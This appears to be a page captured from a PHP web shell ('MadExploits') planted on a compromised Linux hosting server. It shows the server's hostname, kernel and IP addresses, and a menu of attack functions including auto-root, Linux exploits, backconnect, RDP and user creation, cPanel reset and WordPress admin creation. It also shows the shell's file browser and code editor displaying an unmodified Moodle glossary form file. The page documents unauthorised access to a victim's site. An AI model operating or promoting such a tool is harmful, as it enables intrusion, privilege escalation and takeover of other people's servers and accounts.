Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.90
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
formats
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
README.txt
1.7
KB
-rw-r--r--
TODO.txt
607
B
-rw-r--r--
approve.php
2.22
KB
-rw-r--r--
deleteentry.php
2.76
KB
-rw-r--r--
edit.php
3.24
KB
-rw-r--r--
edit_form.php
6.72
KB
-rw-r--r--
editcategories.html
3.29
KB
-rw-r--r--
editcategories.php
10.82
KB
-rw-r--r--
export.php
2.62
KB
-rw-r--r--
exportentry.php
4.36
KB
-rw-r--r--
formats.php
9.5
KB
-rw-r--r--
import.php
15.35
KB
-rw-r--r--
import_form.php
1.14
KB
-rw-r--r--
index.php
4.34
KB
-rw-r--r--
lib.php
164.19
KB
-rw-r--r--
locallib.php
29.11
KB
-rw-r--r--
mod_form.php
10.57
KB
-rw-r--r--
print.php
6.89
KB
-rw-r--r--
rsslib.php
7.79
KB
-rw-r--r--
settings.php
3.82
KB
-rw-r--r--
showentry.php
3.12
KB
-rw-r--r--
showentry_ajax.php
3.77
KB
-rw-r--r--
sql.php
3.83
KB
-rw-r--r--
styles.css
2.5
KB
-rw-r--r--
tabs.php
3.86
KB
-rw-r--r--
upgrade.txt
1.25
KB
-rw-r--r--
version.php
1.2
KB
-rw-r--r--
view.php
19.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); /// It must be included from a Moodle page } require_once ($CFG->dirroot.'/course/moodleform_mod.php'); class mod_glossary_mod_form extends moodleform_mod { function definition() { global $CFG, $COURSE, $DB; $mform =& $this->_form; //------------------------------------------------------------------------------- $mform->addElement('header', 'general', get_string('general', 'form')); $mform->addElement('text', 'name', get_string('name'), array('size'=>'64')); if (!empty($CFG->formatstringstriptags)) { $mform->setType('name', PARAM_TEXT); } else { $mform->setType('name', PARAM_CLEANHTML); } $mform->addRule('name', null, 'required', null, 'client'); $mform->addRule('name', get_string('maximumchars', '', 255), 'maxlength', 255, 'client'); $this->standard_intro_elements(); if (has_capability('mod/glossary:manageentries', context_system::instance())) { $mform->addElement('checkbox', 'globalglossary', get_string('isglobal', 'glossary')); $mform->addHelpButton('globalglossary', 'isglobal', 'glossary'); }else{ $mform->addElement('hidden', 'globalglossary'); $mform->setType('globalglossary', PARAM_INT); } $options = array(1=>get_string('mainglossary', 'glossary'), 0=>get_string('secondaryglossary', 'glossary')); $mform->addElement('select', 'mainglossary', get_string('glossarytype', 'glossary'), $options); $mform->addHelpButton('mainglossary', 'glossarytype', 'glossary'); $mform->setDefault('mainglossary', 0); // ---------------------------------------------------------------------- $mform->addElement('header', 'entrieshdr', get_string('entries', 'glossary')); $mform->addElement('selectyesno', 'defaultapproval', get_string('defaultapproval', 'glossary')); $mform->setDefault('defaultapproval', $CFG->glossary_defaultapproval); $mform->addHelpButton('defaultapproval', 'defaultapproval', 'glossary'); $mform->addElement('selectyesno', 'editalways', get_string('editalways', 'glossary')); $mform->setDefault('editalways', 0); $mform->addHelpButton('editalways', 'editalways', 'glossary'); $mform->addElement('selectyesno', 'allowduplicatedentries', get_string('allowduplicatedentries', 'glossary')); $mform->setDefault('allowduplicatedentries', $CFG->glossary_dupentries); $mform->addHelpButton('allowduplicatedentries', 'allowduplicatedentries', 'glossary'); $mform->addElement('selectyesno', 'allowcomments', get_string('allowcomments', 'glossary')); $mform->setDefault('allowcomments', $CFG->glossary_allowcomments); $mform->addHelpButton('allowcomments', 'allowcomments', 'glossary'); $mform->addElement('selectyesno', 'usedynalink', get_string('usedynalink', 'glossary')); $mform->setDefault('usedynalink', $CFG->glossary_linkbydefault); $mform->addHelpButton('usedynalink', 'usedynalink', 'glossary'); // ---------------------------------------------------------------------- $mform->addElement('header', 'appearancehdr', get_string('appearance')); // Get and update available formats. $recformats = glossary_get_available_formats(); $formats = array(); foreach ($recformats as $format) { $formats[$format->name] = get_string('displayformat'.$format->name, 'glossary'); } asort($formats); $mform->addElement('select', 'displayformat', get_string('displayformat', 'glossary'), $formats); $mform->setDefault('displayformat', 'dictionary'); $mform->addHelpButton('displayformat', 'displayformat', 'glossary'); $displayformats['default'] = get_string('displayformatdefault', 'glossary'); $displayformats = array_merge($displayformats, $formats); $mform->addElement('select', 'approvaldisplayformat', get_string('approvaldisplayformat', 'glossary'), $displayformats); $mform->setDefault('approvaldisplayformat', 'default'); $mform->addHelpButton('approvaldisplayformat', 'approvaldisplayformat', 'glossary'); $mform->addElement('text', 'entbypage', get_string('entbypage', 'glossary')); $mform->setDefault('entbypage', $this->get_default_entbypage()); $mform->addRule('entbypage', null, 'numeric', null, 'client'); $mform->setType('entbypage', PARAM_INT); $mform->addElement('selectyesno', 'showalphabet', get_string('showalphabet', 'glossary')); $mform->setDefault('showalphabet', 1); $mform->addHelpButton('showalphabet', 'showalphabet', 'glossary'); $mform->addElement('selectyesno', 'showall', get_string('showall', 'glossary')); $mform->setDefault('showall', 1); $mform->addHelpButton('showall', 'showall', 'glossary'); $mform->addElement('selectyesno', 'showspecial', get_string('showspecial', 'glossary')); $mform->setDefault('showspecial', 1); $mform->addHelpButton('showspecial', 'showspecial', 'glossary'); $mform->addElement('selectyesno', 'allowprintview', get_string('allowprintview', 'glossary')); $mform->setDefault('allowprintview', 1); $mform->addHelpButton('allowprintview', 'allowprintview', 'glossary'); if ($CFG->enablerssfeeds && isset($CFG->glossary_enablerssfeeds) && $CFG->glossary_enablerssfeeds) { //------------------------------------------------------------------------------- $mform->addElement('header', 'rssheader', get_string('rss')); $choices = array(); $choices[0] = get_string('none'); $choices[1] = get_string('withauthor', 'glossary'); $choices[2] = get_string('withoutauthor', 'glossary'); $mform->addElement('select', 'rsstype', get_string('rsstype', 'glossary'), $choices); $mform->addHelpButton('rsstype', 'rsstype', 'glossary'); $choices = array(); $choices[0] = '0'; $choices[1] = '1'; $choices[2] = '2'; $choices[3] = '3'; $choices[4] = '4'; $choices[5] = '5'; $choices[10] = '10'; $choices[15] = '15'; $choices[20] = '20'; $choices[25] = '25'; $choices[30] = '30'; $choices[40] = '40'; $choices[50] = '50'; $mform->addElement('select', 'rssarticles', get_string('rssarticles'), $choices); $mform->addHelpButton('rssarticles', 'rssarticles', 'glossary'); $mform->hideIf('rssarticles', 'rsstype', 'eq', 0); } //------------------------------------------------------------------------------- $this->standard_grading_coursemodule_elements(); $this->standard_coursemodule_elements(); //------------------------------------------------------------------------------- // buttons $this->add_action_buttons(); } function definition_after_data() { global $COURSE, $DB; parent::definition_after_data(); $mform =& $this->_form; $mainglossaryel =& $mform->getElement('mainglossary'); $mainglossary = $DB->get_record('glossary', array('mainglossary'=>1, 'course'=>$COURSE->id)); if ($mainglossary && ($mainglossary->id != $mform->getElementValue('instance'))){ //secondary glossary, a main one already exists in this course. $mainglossaryel->setValue(0); $mainglossaryel->freeze(); $mainglossaryel->setPersistantFreeze(true); } else { $mainglossaryel->unfreeze(); $mainglossaryel->setPersistantFreeze(false); } } function data_preprocessing(&$default_values){ parent::data_preprocessing($default_values); // Fallsback on the default setting if 'Entries shown per page' has been left blank. // This prevents the field from being required and expand its section which should not // be the case if there is a default value defined. if (empty($default_values['entbypage']) || $default_values['entbypage'] < 0) { $default_values['entbypage'] = $this->get_default_entbypage(); } // Set up the completion checkboxes which aren't part of standard data. // Tick by default if Add mode or if completion entries settings is set to 1 or more. if (empty($this->_instance) || !empty($default_values['completionentries'])) { $default_values['completionentriesenabled'] = 1; } else { $default_values['completionentriesenabled'] = 0; } if (empty($default_values['completionentries'])) { $default_values['completionentries']=1; } } function add_completion_rules() { $mform =& $this->_form; $group=array(); $group[] =& $mform->createElement('checkbox', 'completionentriesenabled', '', get_string('completionentries','glossary')); $group[] =& $mform->createElement('text', 'completionentries', '', array('size'=>3)); $mform->setType('completionentries', PARAM_INT); $mform->addGroup($group, 'completionentriesgroup', get_string('completionentriesgroup','glossary'), array(' '), false); $mform->disabledIf('completionentries','completionentriesenabled','notchecked'); return array('completionentriesgroup'); } function completion_rule_enabled($data) { return (!empty($data['completionentriesenabled']) && $data['completionentries']!=0); } /** * Allows module to modify the data returned by form get_data(). * This method is also called in the bulk activity completion form. * * Only available on moodleform_mod. * * @param stdClass $data the form data to be modified. */ public function data_postprocessing($data) { parent::data_postprocessing($data); if (!empty($data->completionunlocked)) { // Turn off completion settings if the checkboxes aren't ticked $autocompletion = !empty($data->completion) && $data->completion==COMPLETION_TRACKING_AUTOMATIC; if (empty($data->completionentriesenabled) || !$autocompletion) { $data->completionentries = 0; } } } /** * Returns the default value for 'Entries shown per page'. * * @return int default for number of entries per page. */ protected function get_default_entbypage() { global $CFG; return !empty($CFG->glossary_entbypage) ? $CFG->glossary_entbypage : 10; } }
Close